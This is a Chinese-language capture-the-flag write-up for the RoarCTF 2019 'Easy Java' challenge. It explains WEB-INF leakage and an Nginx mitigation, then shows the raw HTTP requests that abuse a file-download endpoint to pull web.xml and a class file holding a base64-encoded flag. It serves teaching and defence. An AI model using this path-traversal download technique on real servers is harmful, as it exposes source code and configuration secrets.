RoarCTF 2019 Easy Java 1题解
前置知识
java服务器下的web-inf
我们可以直接下载WEB-INF/web.xml配置文件,WEB-INF文件夹下的文件是不能被直接访问到的,通常是用来存储重要的配置文件等。
WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
可以参考ctf/web源码泄露及利用办法的博客
WEB-INF/web.xml泄露
漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF /* { deny all; } 或者return 404; 或者其他!
题目详解
底下有一个help,点进去得到
java.io.FileNotFoundException:{help.docx}
页面的url是这样的:http://86895b7a-be34-4fd3-95b9-43ad6e382d76.node4.buuoj.cn:81/Download?filename=help.docx
应该是任意文件下载,抓包发现
GET /Download?filename=help.docx HTTP/1.1
Host: 86895b7a-be34-4fd3-95b9-43ad6e382d76.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c1cc449b65c5-063754ec1fcf098-4c3e2778-fa000-17c1cc449b83ee; JSESSIONID=C2B1F6CDFEC25D8C5E502567881DDF3D
Upgrade-Insecure-Requests: 1
尝试POST方式请求。成功下载help.docx,打开是
Are you sure the flag is here? ? ?
根据提示有Java服务器,直接下载WEB-INF/web.xml文件。
抓包修改
POST /Download?filename=WEB-INF/web.xml HTTP/1.1
Host: 86895b7a-be34-4fd3-95b9-43ad6e382d76.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c1cc449b65c5-063754ec1fcf098-4c3e2778-fa000-17c1cc449b83ee; JSESSIONID=C2B1F6CDFEC25D8C5E502567881DDF3D
Upgrade-Insecure-Requests: 1
得到
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
找到了com.wm.ctf.FlagController,最后构造payload:filename=WEB-INF/classes/com/wm/ctf/FlagController.class下载得到,找到ZmxhZ3s4OTBmNDQ1NS1lNDhhLTQzMjUtOTNjZC0wMDg4MTk2MWNiMDZ9Cg==
base64解码得到flag:flag{890f4455-e48a-4325-93cd-00881961cb06}
参考:
https://www.cnblogs.com/WHOAMI-xiaoyu/p/15485304.html
https://www.cnblogs.com/gtx690/p/13257713.html
https://blog.csdn.net/SopRomeo/article/details/104201079
https://blog.csdn.net/ChenZIDu/article/details/103533554
https://blog.csdn.net/wy_97/article/details/78165051